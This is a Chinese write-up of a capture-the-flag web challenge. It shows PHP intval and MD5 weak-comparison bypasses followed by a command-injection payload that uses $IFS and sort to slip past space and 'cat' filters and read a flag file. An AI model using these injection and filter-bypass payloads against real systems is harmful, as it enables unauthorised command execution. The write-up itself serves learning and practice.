[WUSTCTF2020]朴实无华

首先打开题目

只有一个Hack me,然后抓包

[WUSTCTF2020]朴实无华

 

 

 没有得到什么,不过title里面有个bot

于是联想到robots.txt

User-agent: *
Disallow: /fAke_f1agggg.php

然后打开Fake_flagggg.php

[WUSTCTF2020]朴实无华

 

 

然后在抓包结果看一下,发现了 

Look_at_me: /fl4g.php

  

于是我打开fl4g.php

[WUSTCTF2020]朴实无华

 

 

 首先是第一步,这个代码很明显是要想办法绕过

if(intval($num) < 2020 && intval($num + 1) > 2021)

这个可以用科学计数法绕过比如说num='1e10'不过由于这个函数值就会变成1

如果num='1e10'+1那么这个num的值就会首先被强制类型转换成整形然后再进行intval函数

payload:?num=1e10

然后是第二步

首先看到题目是MD5类型题目并且是$a==md5($a)是弱相等,所以直接payload:

?num=2e10&md5=0e215962017

然后是第三步,代码审计以后发现传入参数里面不能有空格而且cat会被替换成wctf2020

于是我们采用$IFS$1来代替空格,然后用sort来替代cat的功能

首先用ls查看一下flag文件名字

404.html fAke_f1agggg.php fl4g.php fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag img.jpg index.php robots.txt 

所以很明显flag应该在

fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

里面

于是最终payload:

?num=2e10&md5=0e215962017&get_flag=sort$IFS$!fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[WUSTCTF2020]朴实无华

 

上一篇:使用wireshark提取rtp视频流中的h264裸流


下一篇:408考研 混合运算-scanf读取标准输入原理总结